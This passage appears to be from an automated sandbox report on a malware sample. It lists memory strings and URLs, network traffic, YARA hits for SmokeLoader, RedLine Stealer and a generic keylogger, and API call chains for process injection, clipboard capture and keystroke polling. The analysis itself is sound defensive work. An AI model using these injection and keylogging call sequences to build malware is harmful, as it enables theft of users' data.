Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: https://mozilla.org0/
Source: explorer.exe, 00000001.00000000.1706663515.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1706663515.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://powerpoint.office.comcember
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: https://sectigo.com/CPS0
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: RegAsm.exe, 0000001F.00000002.4107921007.0000000002494000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354rCannot
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://support.mozilla.org
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: svchost015.exe, 0000001D.00000003.2483405592.0000000020D21000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2614164343.000000000042C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2614164343.000000000042C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000042C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: svchost015.exe, 0000001D.00000003.2483405592.0000000020D21000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e173810.9
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1706663515.000000000C557000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1706663515.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://word.office.com
Source: svchost015.exe, 0000001D.00000002.2662277736.0000000026E12000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: freebl3.dll.29.dr, softokn3.dll.29.dr, nss3.dll.29.dr, nss3[1].dll.29.dr, mozglue[1].dll.29.dr, mozglue.dll.29.dr String found in binary or memory: https://www.digicert.com/CPS0
Source: svchost015.exe, 0000001D.00000002.2618548795.0000000000AB6000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.29.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: svchost015.exe, 0000001D.00000002.2662277736.0000000026E12000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000002.2618548795.0000000000AD6000.00000004.00000020.00020000.00000000.sdmp, KJEHDHIEGIIIDHIDHDHJ.29.dr String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Burn.pif.8.dr String found in binary or memory: https://www.globalsign.com/repository/0
Source: Burn.pif, 00000011.00000003.2227175462.0000000003C5B000.00000004.00000800.00020000.00000000.sdmp, Burn.pif, 00000011.00000003.2924741596.000000000350A000.00000004.00000020.00020000.00000000.sdmp, SwiftServe.scr.17.dr, Dod.7.dr, Burn.pif.8.dr String found in binary or memory: https://www.globalsign.com/repository/06
Source: IECFHDBA.29.dr String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://www.mozilla.org
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: svchost015.exe, 0000001D.00000003.2581535535.000000002707A000.00000004.00000020.00020000.00000000.sdmp, FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: svchost015.exe, 0000001D.00000002.2614164343.000000000043C000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: svchost015.exe, 0000001D.00000003.2581535535.000000002707A000.00000004.00000020.00020000.00000000.sdmp, FCAAEBFHJJDAAKFIECGDBKJDGI.29.dr String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1703368759.00000000078AD000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1703368759.0000000007900000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe.26.dr String found in binary or memory: https://www.ssl.com/repository0
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: https://www.x-ways.net/forensics/x-tensions.html
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: https://www.x-ways.net/forensics/x-tensions.htmlf
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: https://www.x-ways.net/winhex/forum/
Source: DFA6.exe, 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001D.00000000.2401576830.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, svchost015.exe.26.dr String found in binary or memory: https://www.x-ways.net/winhex/forum/www.x-ways.net/winhex/templates/www.x-ways.net/dongle_protection
Source: unknown Network traffic detected: HTTP traffic on port 56171 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 56171
Source: unknown HTTPS traffic detected: 84.32.84.144:443 -> 192.168.2.4:56171 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected SmokeLoader
Source: Yara match File source: 00000003.00000002.1937857892.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.1937904210.00000000007B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1712546480.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1712222757.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E94632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 25_2_00E94632
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E94830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 25_2_00E94830
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E94632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 25_2_00E94632
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E80508 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState, 25_2_00E80508
Potential key logger detected (key state polling based)
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00EAD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 25_2_00EAD164
Yara detected Keylogger Generic
Source: Yara match File source: 29.0.svchost015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000002.2426601330.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: DFA6.exe PID: 1396, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: svchost015.exe PID: 708, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\svchost015.exe, type: DROPPED

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000003.00000002.1937968230.0000000000848000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1937857892.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1712342116.000000000088A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1937904210.00000000007B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1712173193.0000000000840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1712546480.0000000002361000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1712222757.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000003.00000002.1937842003.00000000006A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Wscript called in batch mode (surpress errors)
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.js"
Abnormal high CPU Usage
Source: C:\Windows\explorer.exe Process Stats: CPU usage > 49%
Contains functionality to call native functions
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00402F55 RtlCreateUserThread,NtTerminateProcess, 0_2_00402F55
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401493 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401493
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401476 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401476
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_004014D5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_004014D5
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_004014AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_004014AA
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_004014AD NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_004014AD
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_004014B1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_004014B1
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_004030B2 NtTerminateProcess, 0_2_004030B2
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00402F55 RtlCreateUserThread,NtTerminateProcess, 3_2_00402F55
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401493 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_00401493
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401476 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_00401476
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_004014D5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_004014D5
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_004014AA NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_004014AA
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_004014AD NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_004014AD
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_004014B1 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_004014B1
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_004030B2 NtTerminateProcess, 3_2_004030B2
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Code function: 26_2_0301A090 NtAllocateVirtualMemory,CreateFileA,WriteFile,FindCloseChangeNotification,CreateProcessA,NtUnmapViewOfSection,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,Wow64GetThreadContext,Wow64SetThreadContext,ResumeThread,ExitProcess, 26_2_0301A090
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Code function: 26_2_030196B0 NtProtectVirtualMemory,NtProtectVirtualMemory, 26_2_030196B0
Source: C:\Users\user\AppData\Local\Temp\DFA6.exe Code function: 26_2_030193F0 NtCreateFile,CreateFileMappingA,MapViewOfFile,FindCloseChangeNotification, 26_2_030193F0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C85ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset, 29_2_6C85ED10
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C89B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 29_2_6C89B700
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C89B8C0 rand_s,NtQueryVirtualMemory, 29_2_6C89B8C0
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C89B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 29_2_6C89B910
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6C83F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 29_2_6C83F280
Source: C:\Users\user\AppData\Local\Temp\svchost015.exe Code function: 29_2_6CA662C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy, 29_2_6CA662C0
Contains functionality to communicate with device drivers
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E842D5: CreateFileW,DeviceIoControl,CloseHandle, 25_2_00E842D5
Contains functionality to launch a process as a different user
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E78F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 25_2_00E78F2E
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_00403899 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx, 7_2_00403899
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E85778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 25_2_00E85778
Detected potential crypto function
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401C5E 0_2_00401C5E
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00401C0A 0_2_00401C0A
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841CC5 0_2_00841CC5
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_0084154D 0_2_0084154D
Source: C:\Users\user\Desktop\h8jGj6Qe78.exe Code function: 0_2_00841C71 0_2_00841C71
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401C5E 3_2_00401C5E
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_00401C0A 3_2_00401C0A
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_006A1C71 3_2_006A1C71
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_006A154D 3_2_006A154D
Source: C:\Users\user\AppData\Roaming\ewggbbh Code function: 3_2_006A1CC5 3_2_006A1CC5
Source: C:\Users\user\AppData\Local\Temp\329C.exe Code function: 7_2_00407577 7_2_00407577
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E2B020 25_2_00E2B020
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E294E0 25_2_00E294E0
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E29C80 25_2_00E29C80
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E423F5 25_2_00E423F5
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00EA8400 25_2_00EA8400
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E56502 25_2_00E56502
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E2E6F0 25_2_00E2E6F0
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E5265E 25_2_00E5265E
Source: C:\Users\user\AppData\Local\SwiftTech Solutions\SwiftServe.scr Code function: 25_2_00E4282A 25_2_00E4282A
